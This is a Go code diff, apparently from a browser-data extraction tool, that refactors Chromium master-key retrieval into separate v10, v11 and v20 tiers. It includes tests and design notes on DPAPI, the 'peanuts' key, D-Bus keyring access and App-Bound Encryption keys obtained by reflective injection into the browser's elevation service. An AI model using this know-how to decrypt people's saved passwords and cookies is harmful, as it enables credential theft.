require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
assert.Equal(t, key, key2, "fallback key should be the same for any storage")
|
assert.Equal(t, key, key2, "kV10Key should be constant across any storage label")
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestFallbackRetriever_MatchesChromiumKV10Key pins FallbackRetriever's
|
// TestPosixRetriever_MatchesChromiumKV10Key pins PosixRetriever's output to Chromium's kV10Key
|
||||||
// output to Chromium's kV10Key reference bytes in os_crypt_linux.cc.
|
// reference bytes (PBKDF2-HMAC-SHA1 of "peanuts" with "saltysalt", 1 iteration, 16 bytes).
|
||||||
func TestFallbackRetriever_MatchesChromiumKV10Key(t *testing.T) {
|
func TestPosixRetriever_MatchesChromiumKV10Key(t *testing.T) {
|
||||||
want := []byte{
|
want := []byte{
|
||||||
0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53,
|
0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53,
|
||||||
0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78,
|
0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78,
|
||||||
}
|
}
|
||||||
r := &FallbackRetriever{}
|
r := &PosixRetriever{}
|
||||||
key, err := r.RetrieveKey("", "")
|
key, err := r.RetrieveKey("", "")
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
assert.Equal(t, want, key)
|
assert.Equal(t, want, key)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDefaultRetriever_Linux(t *testing.T) {
|
func TestDefaultRetrievers_Linux(t *testing.T) {
|
||||||
r := DefaultRetriever()
|
r := DefaultRetrievers()
|
||||||
chain, ok := r.(*ChainRetriever)
|
|
||||||
require.True(t, ok, "DefaultRetriever should return a *ChainRetriever")
|
|
||||||
|
|
||||||
assert.Len(t, chain.retrievers, 2, "chain should have 2 retrievers")
|
// V10 slot: peanuts-derived kV10Key — PosixRetriever.
|
||||||
assert.IsType(t, &DBusRetriever{}, chain.retrievers[0], "first retriever should be DBusRetriever")
|
assert.IsType(t, &PosixRetriever{}, r.V10, "V10 slot should hold PosixRetriever (peanuts kV10Key)")
|
||||||
assert.IsType(t, &FallbackRetriever{}, chain.retrievers[1], "second retriever should be FallbackRetriever")
|
|
||||||
|
// V11 slot: D-Bus keyring kV11Key — DBusRetriever.
|
||||||
|
assert.IsType(t, &DBusRetriever{}, r.V11, "V11 slot should hold DBusRetriever (keyring kV11Key)")
|
||||||
|
|
||||||
|
// V20 slot: ABE is Windows-only, nil on Linux.
|
||||||
|
assert.Nil(t, r.V20, "V20 slot must stay nil on Linux")
|
||||||
|
|
||||||
|
// Smoke: both populated slots must actually retrieve (PosixRetriever always succeeds; DBus may
|
||||||
|
// fail in test env, which is fine — we only want to confirm the wiring, not real keys).
|
||||||
|
require.NotNil(t, r.V10)
|
||||||
|
require.NotNil(t, r.V11)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -48,6 +48,14 @@ func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) {
|
|||||||
return masterKey, nil
|
return masterKey, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func DefaultRetriever() KeyRetriever {
|
// DefaultRetrievers returns the Windows Retrievers: DPAPI for v10 (Chrome's os_crypt.encrypted_key)
|
||||||
return NewChain(&ABERetriever{}, &DPAPIRetriever{})
|
// and ABE for v20 (Chrome 127+ os_crypt.app_bound_encrypted_key retrieved via reflective injection
|
||||||
|
// into the browser's elevation service). Both run independently — a single Chrome profile upgraded
|
||||||
|
// from pre-v127 carries mixed v10+v20 ciphertexts, and both tiers must be attempted to decrypt the
|
||||||
|
// full profile (see issue #578).
|
||||||
|
func DefaultRetrievers() Retrievers {
|
||||||
|
return Retrievers{
|
||||||
|
V10: &DPAPIRetriever{},
|
||||||
|
V20: &ABERetriever{},
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,72 @@
|
|||||||
|
package keyretriever
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
// MasterKeys bundles the per-cipher-version Chromium master keys used to decrypt data from a
|
||||||
|
// single profile. decryptValue dispatches on the ciphertext's version prefix and picks the
|
||||||
|
// matching key; a missing (nil) key for a tier means "that cipher version cannot be decrypted",
|
||||||
|
// but the other tiers remain usable — a Chrome 127+ profile upgraded from pre-127 carries mixed
|
||||||
|
// v10+v20 ciphertexts, and Linux profiles may carry mixed v10+v11 for analogous reasons.
|
||||||
|
//
|
||||||
|
// - V10: Chrome 80+ key with "v10" cipher prefix.
|
||||||
|
// - Windows: os_crypt.encrypted_key decrypted by user-level DPAPI (AES-GCM ciphertexts).
|
||||||
|
// - macOS: derived from Keychain via PBKDF2(1003, SHA-1) (AES-CBC ciphertexts).
|
||||||
|
// - Linux: derived from "peanuts" hardcoded password (Chromium's kV10Key, AES-CBC).
|
||||||
|
// - V11: Chrome Linux key with "v11" cipher prefix, derived from D-Bus Secret Service
|
||||||
|
// (KWallet / GNOME Keyring) via PBKDF2. Nil on Windows and macOS (v11 prefix not used there).
|
||||||
|
// - V20: Chrome 127+ Windows key with "v20" cipher prefix, retrieved via reflective injection
|
||||||
|
// into the browser's elevation service. Nil on non-Windows platforms.
|
||||||
|
type MasterKeys struct {
|
||||||
|
V10 []byte
|
||||||
|
V11 []byte
|
||||||
|
V20 []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrievers is the per-tier retriever configuration passed to NewMasterKeys. Each slot runs
|
||||||
|
// independently — failure or absence of one tier does not affect others. Platform injectors set
|
||||||
|
// only the slots that apply to their platform and leave the rest nil (e.g. Linux populates
|
||||||
|
// V10+V11, leaves V20 nil).
|
||||||
|
type Retrievers struct {
|
||||||
|
V10 KeyRetriever
|
||||||
|
V11 KeyRetriever
|
||||||
|
V20 KeyRetriever
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewMasterKeys fetches every configured tier in r independently and returns the assembled
|
||||||
|
// MasterKeys together with any per-tier errors joined into one. Nil retrievers and retrievers
|
||||||
|
// returning (nil, nil) (the "not applicable" signal — e.g. ABERetriever on a non-ABE fork)
|
||||||
|
// contribute nil keys silently; only non-nil errors propagate.
|
||||||
|
//
|
||||||
|
// The returned error, when non-nil, is an errors.Join of per-tier failures formatted as
|
||||||
|
// "<tier>: <err>" (e.g. "v10: dpapi decrypt: ..."). Callers are expected to log it at whatever
|
||||||
|
// severity fits their context — this function itself never logs, leaving logging policy to its
|
||||||
|
// callers. Other pieces of the keyretriever package (e.g. ChainRetriever) may still log on their
|
||||||
|
// own failures; the "no-logging" guarantee is scoped to NewMasterKeys.
|
||||||
|
func NewMasterKeys(r Retrievers, storage, localStatePath string) (MasterKeys, error) {
|
||||||
|
var keys MasterKeys
|
||||||
|
var errs []error
|
||||||
|
|
||||||
|
for _, t := range []struct {
|
||||||
|
name string
|
||||||
|
r KeyRetriever
|
||||||
|
dst *[]byte
|
||||||
|
}{
|
||||||
|
{"v10", r.V10, &keys.V10},
|
||||||
|
{"v11", r.V11, &keys.V11},
|
||||||
|
{"v20", r.V20, &keys.V20},
|
||||||
|
} {
|
||||||
|
if t.r == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
k, err := t.r.RetrieveKey(storage, localStatePath)
|
||||||
|
if err != nil {
|
||||||
|
errs = append(errs, fmt.Errorf("%s: %w", t.name, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
*t.dst = k
|
||||||
|
}
|
||||||
|
return keys, errors.Join(errs...)
|
||||||
|
}
|
||||||
@@ -0,0 +1,178 @@
|
|||||||
|
package keyretriever
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"errors"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
"github.com/stretchr/testify/require"
|
||||||
|
)
|
||||||
|
|
||||||
|
// recordingRetriever captures call count and arguments so tests can verify each tier's retriever
|
||||||
|
// is invoked exactly once with the expected storage and localStatePath.
|
||||||
|
type recordingRetriever struct {
|
||||||
|
key []byte
|
||||||
|
err error
|
||||||
|
|
||||||
|
calls int
|
||||||
|
gotStorage string
|
||||||
|
gotPath string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *recordingRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
|
||||||
|
r.calls++
|
||||||
|
r.gotStorage = storage
|
||||||
|
r.gotPath = localStatePath
|
||||||
|
return r.key, r.err
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewMasterKeys_Matrix(t *testing.T) {
|
||||||
|
k10 := bytes.Repeat([]byte{0x10}, 32)
|
||||||
|
k11 := bytes.Repeat([]byte{0x11}, 32)
|
||||||
|
k20 := bytes.Repeat([]byte{0x20}, 32)
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
v10 *recordingRetriever
|
||||||
|
v11 *recordingRetriever
|
||||||
|
v20 *recordingRetriever
|
||||||
|
wantV10 []byte
|
||||||
|
wantV11 []byte
|
||||||
|
wantV20 []byte
|
||||||
|
wantErrParts []string // substrings that must all appear in the joined error; nil = no error
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "Windows happy path (V10+V20 ok, V11 not configured)",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
v20: &recordingRetriever{key: k20},
|
||||||
|
wantV10: k10, wantV20: k20,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "Linux happy path (V10+V11 ok, V20 not configured)",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
v11: &recordingRetriever{key: k11},
|
||||||
|
wantV10: k10, wantV11: k11,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "macOS happy path (V10 only)",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
wantV10: k10,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "all three tiers succeed",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
v11: &recordingRetriever{key: k11},
|
||||||
|
v20: &recordingRetriever{key: k20},
|
||||||
|
wantV10: k10, wantV11: k11, wantV20: k20,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "one tier errors, others succeed (degraded)",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
v20: &recordingRetriever{err: errors.New("inject failed")},
|
||||||
|
wantV10: k10,
|
||||||
|
wantErrParts: []string{"v20: inject failed"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "two tiers error, one succeeds",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
v11: &recordingRetriever{err: errors.New("dbus failed")},
|
||||||
|
v20: &recordingRetriever{err: errors.New("inject failed")},
|
||||||
|
wantV10: k10,
|
||||||
|
wantErrParts: []string{"v11: dbus failed", "v20: inject failed"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "all three tiers error (total failure)",
|
||||||
|
v10: &recordingRetriever{err: errors.New("dpapi failed")},
|
||||||
|
v11: &recordingRetriever{err: errors.New("dbus failed")},
|
||||||
|
v20: &recordingRetriever{err: errors.New("inject failed")},
|
||||||
|
wantErrParts: []string{"v10: dpapi failed", "v11: dbus failed", "v20: inject failed"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "tier returns (nil, nil) — not applicable, silent",
|
||||||
|
v10: &recordingRetriever{key: k10},
|
||||||
|
v20: &recordingRetriever{}, // ABERetriever on non-ABE fork
|
||||||
|
wantV10: k10,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "all tiers (nil, nil) — no keys, no errors",
|
||||||
|
v10: &recordingRetriever{},
|
||||||
|
v11: &recordingRetriever{},
|
||||||
|
v20: &recordingRetriever{},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
var r Retrievers
|
||||||
|
if tt.v10 != nil {
|
||||||
|
r.V10 = tt.v10
|
||||||
|
}
|
||||||
|
if tt.v11 != nil {
|
||||||
|
r.V11 = tt.v11
|
||||||
|
}
|
||||||
|
if tt.v20 != nil {
|
||||||
|
r.V20 = tt.v20
|
||||||
|
}
|
||||||
|
|
||||||
|
keys, err := NewMasterKeys(r, "chrome", "/tmp/Local State")
|
||||||
|
assert.Equal(t, tt.wantV10, keys.V10)
|
||||||
|
assert.Equal(t, tt.wantV11, keys.V11)
|
||||||
|
assert.Equal(t, tt.wantV20, keys.V20)
|
||||||
|
|
||||||
|
if len(tt.wantErrParts) == 0 {
|
||||||
|
require.NoError(t, err)
|
||||||
|
} else {
|
||||||
|
require.Error(t, err)
|
||||||
|
for _, part := range tt.wantErrParts {
|
||||||
|
assert.Contains(t, err.Error(), part, "joined error should mention each failing tier")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every configured retriever must be called exactly once — this is the property
|
||||||
|
// that prevents any regression where a tier is silently bypassed.
|
||||||
|
for name, mock := range map[string]*recordingRetriever{"V10": tt.v10, "V11": tt.v11, "V20": tt.v20} {
|
||||||
|
if mock == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
assert.Equal(t, 1, mock.calls, "%s retriever should be called exactly once", name)
|
||||||
|
assert.Equal(t, "chrome", mock.gotStorage)
|
||||||
|
assert.Equal(t, "/tmp/Local State", mock.gotPath)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewMasterKeys_AllNilRetrievers(t *testing.T) {
|
||||||
|
// All slots nil — macOS/Linux with no retriever wiring, or Windows with neither tier set up.
|
||||||
|
keys, err := NewMasterKeys(Retrievers{}, "chrome", "/tmp/Local State")
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Nil(t, keys.V10)
|
||||||
|
assert.Nil(t, keys.V11)
|
||||||
|
assert.Nil(t, keys.V20)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewMasterKeys_PartialNil(t *testing.T) {
|
||||||
|
// Only V10 wired — typical macOS shape. V11/V20 left nil.
|
||||||
|
k10 := []byte("v10-key-bytes-for-testing")
|
||||||
|
r := &recordingRetriever{key: k10}
|
||||||
|
keys, err := NewMasterKeys(Retrievers{V10: r}, "Chrome", "")
|
||||||
|
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Equal(t, k10, keys.V10)
|
||||||
|
assert.Nil(t, keys.V11)
|
||||||
|
assert.Nil(t, keys.V20)
|
||||||
|
assert.Equal(t, 1, r.calls)
|
||||||
|
assert.Equal(t, "Chrome", r.gotStorage)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNewMasterKeys_ErrorWrapping(t *testing.T) {
|
||||||
|
// errors.Is should traverse errors.Join to find the original error — useful for callers
|
||||||
|
// that want to check for specific error types without string matching.
|
||||||
|
sentinel := errors.New("sentinel")
|
||||||
|
r := Retrievers{V20: &recordingRetriever{err: sentinel}}
|
||||||
|
|
||||||
|
_, err := NewMasterKeys(r, "chrome", "")
|
||||||
|
require.Error(t, err)
|
||||||
|
assert.ErrorIs(t, err, sentinel, "errors.Is should find wrapped sentinel error")
|
||||||
|
}
|
||||||
+9
-1
@@ -14,6 +14,12 @@ const (
|
|||||||
// CipherV20 is Chrome 127+ App-Bound Encryption.
|
// CipherV20 is Chrome 127+ App-Bound Encryption.
|
||||||
CipherV20 CipherVersion = "v20"
|
CipherV20 CipherVersion = "v20"
|
||||||
|
|
||||||
|
// CipherV12 is Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) tier —
|
||||||
|
// HKDF-SHA256 + AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop.
|
||||||
|
// Recognized by DetectVersion so decryptValue can emit a known-gap error rather than a
|
||||||
|
// generic "unsupported cipher version" message; not yet implemented.
|
||||||
|
CipherV12 CipherVersion = "v12"
|
||||||
|
|
||||||
// CipherDPAPI is pre-Chrome 80 raw DPAPI encryption (no version prefix).
|
// CipherDPAPI is pre-Chrome 80 raw DPAPI encryption (no version prefix).
|
||||||
CipherDPAPI CipherVersion = "dpapi"
|
CipherDPAPI CipherVersion = "dpapi"
|
||||||
|
|
||||||
@@ -32,6 +38,8 @@ func DetectVersion(ciphertext []byte) CipherVersion {
|
|||||||
return CipherV10
|
return CipherV10
|
||||||
case "v11":
|
case "v11":
|
||||||
return CipherV11
|
return CipherV11
|
||||||
|
case "v12":
|
||||||
|
return CipherV12
|
||||||
case "v20":
|
case "v20":
|
||||||
return CipherV20
|
return CipherV20
|
||||||
default:
|
default:
|
||||||
@@ -43,7 +51,7 @@ func DetectVersion(ciphertext []byte) CipherVersion {
|
|||||||
// Returns the ciphertext unchanged if no known prefix is found.
|
// Returns the ciphertext unchanged if no known prefix is found.
|
||||||
func stripPrefix(ciphertext []byte) []byte {
|
func stripPrefix(ciphertext []byte) []byte {
|
||||||
ver := DetectVersion(ciphertext)
|
ver := DetectVersion(ciphertext)
|
||||||
if ver == CipherV10 || ver == CipherV11 || ver == CipherV20 {
|
if ver == CipherV10 || ver == CipherV11 || ver == CipherV12 || ver == CipherV20 {
|
||||||
return ciphertext[versionPrefixLen:]
|
return ciphertext[versionPrefixLen:]
|
||||||
}
|
}
|
||||||
return ciphertext
|
return ciphertext
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ func TestDetectVersion(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{"v10 prefix", []byte("v10" + "encrypted_data"), CipherV10},
|
{"v10 prefix", []byte("v10" + "encrypted_data"), CipherV10},
|
||||||
{"v11 prefix", []byte("v11" + "encrypted_data"), CipherV11},
|
{"v11 prefix", []byte("v11" + "encrypted_data"), CipherV11},
|
||||||
|
{"v12 prefix", []byte("v12" + "encrypted_data"), CipherV12},
|
||||||
{"v20 prefix", []byte("v20" + "encrypted_data"), CipherV20},
|
{"v20 prefix", []byte("v20" + "encrypted_data"), CipherV20},
|
||||||
{"no prefix (DPAPI)", []byte{0x01, 0x00, 0x00, 0x00}, CipherDPAPI},
|
{"no prefix (DPAPI)", []byte{0x01, 0x00, 0x00, 0x00}, CipherDPAPI},
|
||||||
{"short input", []byte{0x01, 0x02}, CipherDPAPI},
|
{"short input", []byte{0x01, 0x02}, CipherDPAPI},
|
||||||
@@ -36,6 +37,7 @@ func Test_stripPrefix(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{"strips v10", []byte("v10PAYLOAD"), []byte("PAYLOAD")},
|
{"strips v10", []byte("v10PAYLOAD"), []byte("PAYLOAD")},
|
||||||
{"strips v11", []byte("v11PAYLOAD"), []byte("PAYLOAD")},
|
{"strips v11", []byte("v11PAYLOAD"), []byte("PAYLOAD")},
|
||||||
|
{"strips v12", []byte("v12PAYLOAD"), []byte("PAYLOAD")},
|
||||||
{"strips v20", []byte("v20PAYLOAD"), []byte("PAYLOAD")},
|
{"strips v20", []byte("v20PAYLOAD"), []byte("PAYLOAD")},
|
||||||
{"keeps DPAPI unchanged", []byte{0x01, 0x00, 0x00}, []byte{0x01, 0x00, 0x00}},
|
{"keeps DPAPI unchanged", []byte{0x01, 0x00, 0x00}, []byte{0x01, 0x00, 0x00}},
|
||||||
{"keeps short unchanged", []byte{0x01}, []byte{0x01}},
|
{"keeps short unchanged", []byte{0x01}, []byte{0x01}},
|
||||||
|
|||||||
@@ -22,8 +22,8 @@ For Chromium encryption details (cipher versions, AES-CBC/GCM), see [RFC-003](00
|
|||||||
|
|
||||||
The interface takes two parameters:
|
The interface takes two parameters:
|
||||||
|
|
||||||
- **`storage`** — keychain/keyring label identifying the browser's secret (e.g. `"Chrome"` on macOS, `"Chrome Safe Storage"` on Linux). Unused on Windows.
|
- **`storage`** — platform-dependent identifier. On macOS it's the Keychain account label (e.g. `"Chrome"`); on Linux it's the D-Bus collection label (e.g. `"Chrome Safe Storage"`); on Windows it's the browser key used by `ABERetriever` to locate the elevation-service COM interface (e.g. `"chrome"`, `"edge"`). Ignored by `DPAPIRetriever`.
|
||||||
- **`localStatePath`** — path to `Local State` JSON file. Only used on Windows.
|
- **`localStatePath`** — path to `Local State` JSON file. Only used on Windows (DPAPI + ABE both read it).
|
||||||
|
|
||||||
The return value is the **ready-to-use decryption key** — either the raw AES key (Windows) or the PBKDF2-derived key (macOS/Linux).
|
The return value is the **ready-to-use decryption key** — either the raw AES key (Windows) or the PBKDF2-derived key (macOS/Linux).
|
||||||
|
|
||||||
@@ -75,7 +75,7 @@ The authoritative mapping lives in the `Storage` field of each entry in `platfor
|
|||||||
|
|
||||||
## 4. Windows Key Retrieval
|
## 4. Windows Key Retrieval
|
||||||
|
|
||||||
Chromium on Windows stores the master key in `Local State` JSON, encrypted with DPAPI.
|
Chromium on Windows stores **two** master keys in `Local State` JSON: a legacy v10 key (`os_crypt.encrypted_key`, DPAPI-wrapped) and, since Chrome 127, an App-Bound Encryption v20 key (`os_crypt.app_bound_encrypted_key`, IElevator-wrapped). Both tiers can coexist on a single profile — Chrome 127+ encrypts *new* cookies with v20 but leaves pre-existing passwords and old cookies on v10 — so the retriever layer fetches both keys independently rather than via a ChainRetriever (see §4.4 and issue #578).
|
||||||
|
|
||||||
### 4.1 DPAPI Background
|
### 4.1 DPAPI Background
|
||||||
|
|
||||||
@@ -106,24 +106,43 @@ The implementation loads `Crypt32.dll` at runtime via `syscall.NewLazyDLL` and c
|
|||||||
|
|
||||||
Unlike macOS/Linux, DPAPI gives the **final AES-256 key directly**. No intermediate password, no derivation step. The key is used as-is for AES-256-GCM decryption (see [RFC-003](003-chromium-encryption.md)).
|
Unlike macOS/Linux, DPAPI gives the **final AES-256 key directly**. No intermediate password, no derivation step. The key is used as-is for AES-256-GCM decryption (see [RFC-003](003-chromium-encryption.md)).
|
||||||
|
|
||||||
### 4.4 Single Retriever
|
### 4.4 Dual-Tier Retrievers (V10 + V20)
|
||||||
|
|
||||||
Windows uses only `DPAPIRetriever` — no chain needed. Both `storage` and `keychainPassword` parameters are ignored.
|
Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there).
|
||||||
|
|
||||||
|
| Slot | Retriever | Source field | Mechanism |
|
||||||
|
|------|-----------|--------------|-----------|
|
||||||
|
| V10 | `DPAPIRetriever` | `os_crypt.encrypted_key` | `CryptUnprotectData` (Crypt32.dll) |
|
||||||
|
| V20 | `ABERetriever` | `os_crypt.app_bound_encrypted_key` | IElevator via reflective injection (see [RFC-010](010-chrome-abe-integration.md)) |
|
||||||
|
|
||||||
|
`browser/browser_windows.go::newPlatformInjector` calls `keyretriever.DefaultRetrievers()` and wires the resulting struct through `Browser.SetKeyRetrievers(r)`. At extract time `keyretriever.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful.
|
||||||
|
|
||||||
|
**Why not a ChainRetriever?** `ChainRetriever` has first-success semantics: once ABE returns a key, DPAPI is never called. That semantics is wrong for orthogonal tiers — it was the root cause of issue #578, where upgraded profiles' v10-encrypted passwords silently failed because only the v20 key was retrieved. `NewMasterKeys` evaluates each tier independently and returns an `errors.Join` of per-tier failures; log severity is a caller-side decision. `browser/chromium::getMasterKeys` currently logs all tier errors uniformly at `Warnf` — the distinction between "partial" and "total" failure was judged low-value for a short-lived CLI where all warn lines are visible in the default output.
|
||||||
|
|
||||||
|
**Non-ABE Chromium forks** (Opera, Vivaldi, Yandex, 360, QQ, Sogou) have `Storage: ""` in `platformBrowsers()`. `ABERetriever` returns `(nil, nil)` for empty storage, which `NewMasterKeys` treats silently as "not applicable" — so attempting ABE on these forks is a no-op, not a failure. Their V10 DPAPI key continues to work unchanged.
|
||||||
|
|
||||||
## 5. Linux Key Retrieval
|
## 5. Linux Key Retrieval
|
||||||
|
|
||||||
### 5.1 Retrieval Strategies
|
### 5.1 Dual-Tier Retrievers (V10 + V11)
|
||||||
|
|
||||||
**DBusRetriever** — queries the D-Bus Secret Service API (provided by `gnome-keyring-daemon` or `kwalletd`). Iterates all collections and items, looking for a label matching the browser's storage name.
|
Linux populates two slots of the `keyretriever.Retrievers` struct — one per cipher prefix that Chromium emits on this platform:
|
||||||
|
|
||||||
**FallbackRetriever** — when D-Bus is unavailable (headless servers, Docker, CI), uses the hardcoded password `"peanuts"`. This matches Chromium's own fallback behavior.
|
| Slot | Prefix | Retriever | Mechanism | Chromium name |
|
||||||
|
|------|--------|-----------|-----------|---------------|
|
||||||
|
| V10 | `v10` | `PosixRetriever` | PBKDF2(`"peanuts"`) | kV10Key (matches upstream `PosixKeyProvider`) |
|
||||||
|
| V11 | `v11` | `DBusRetriever` | PBKDF2(D-Bus Secret Service password) | kV11Key (matches upstream `FreedesktopSecretKeyProvider`) |
|
||||||
|
|
||||||
### 5.2 Chain Order
|
V20 stays nil on Linux (App-Bound Encryption is Windows-only). v12 (Chromium's `SecretPortalKeyProvider`, Flatpak/xdg-desktop-portal) is a separate tier not yet implemented — see the `CipherV12` case in `decryptValue`.
|
||||||
|
|
||||||
| Priority | Strategy | Requires | Interactive? |
|
**DBusRetriever** — queries the D-Bus Secret Service API (provided by `gnome-keyring-daemon` or `kwalletd`). Iterates all collections and items, looking for a label matching the browser's storage name. Populates the V11 slot because Chromium emits v11 prefix only when keyring access succeeds.
|
||||||
|----------|----------|----------|:------------:|
|
|
||||||
| 1 | D-Bus Secret Service | D-Bus session + keyring | No |
|
**PosixRetriever** — uses the hardcoded `"peanuts"` password that Chromium derives into a fixed 16-byte AES-128 key (kV10Key). Populates the V10 slot because Chromium emits v10 prefix for data encrypted with this key. Always succeeds deterministically.
|
||||||
| 2 | Fallback (`"peanuts"`) | Nothing | No |
|
|
||||||
|
### 5.2 Why Two Slots, Not a Chain
|
||||||
|
|
||||||
|
A profile can carry **both** v10 and v11 ciphertexts if the host has moved between keyring-equipped and headless sessions — e.g. a laptop that was once used in a headless shell then later in a full desktop session. The old `ChainRetriever{DBus, Fallback}` had first-success semantics: if D-Bus worked, peanuts was never called, leaving v10 ciphertexts undecryptable.
|
||||||
|
|
||||||
|
The split mirrors the Windows V10/V20 fix (§4.4) and the root-cause logic of issue #578: distinct cipher prefixes map to distinct key sources, so the retriever layer must produce both keys independently rather than picking "one winning" key.
|
||||||
|
|
||||||
### 5.3 PBKDF2 Derivation
|
### 5.3 PBKDF2 Derivation
|
||||||
|
|
||||||
@@ -146,11 +165,11 @@ The authoritative mapping lives in the `Storage` field of each entry in `platfor
|
|||||||
|
|
||||||
## 6. Platform Summary
|
## 6. Platform Summary
|
||||||
|
|
||||||
| Platform | Chain | PBKDF2 | Key Size |
|
| Platform | Retrievers (slots populated) | PBKDF2 | Key Size |
|
||||||
|----------|-------|:------:|----------|
|
|----------|------------------------------|:------:|----------|
|
||||||
| macOS | Gcoredump → KeychainPassword* → SecurityCmd | 1003 iterations | AES-128 |
|
| macOS | V10 = chain(Gcoredump → KeychainPassword* → SecurityCmd) | 1003 iterations | AES-128 |
|
||||||
| Windows | DPAPI only | No | AES-256 |
|
| Windows | V10 = DPAPIRetriever; V20 = ABERetriever (Chrome 127+) | No | AES-256 |
|
||||||
| Linux | DBus → Fallback | 1 iteration | AES-128 |
|
| Linux | V10 = PosixRetriever ("peanuts" kV10Key); V11 = DBusRetriever (keyring kV11Key) | 1 iteration | AES-128 |
|
||||||
|
|
||||||
\* Only included when `--keychain-pw` is provided.
|
\* Only included when `--keychain-pw` is provided.
|
||||||
|
|
||||||
@@ -192,7 +211,7 @@ The macOS login password is resolved once at startup by `browser/browser_darwin.
|
|||||||
|
|
||||||
| Consumer | Capability interface | Defined in | Payload |
|
| Consumer | Capability interface | Defined in | Payload |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| Chromium browsers | `retrieverSetter` | `browser/browser.go` | `keyretriever.KeyRetriever` chain |
|
| Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `keyretriever.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) |
|
||||||
| Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` |
|
| Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` |
|
||||||
|
|
||||||
The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only.
|
The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only.
|
||||||
|
|||||||
@@ -191,11 +191,11 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time
|
|||||||
|
|
||||||
**Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`.
|
**Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`.
|
||||||
|
|
||||||
### 5.3 Retriever chain & v20 routing
|
### 5.3 Retriever wiring & v20 routing
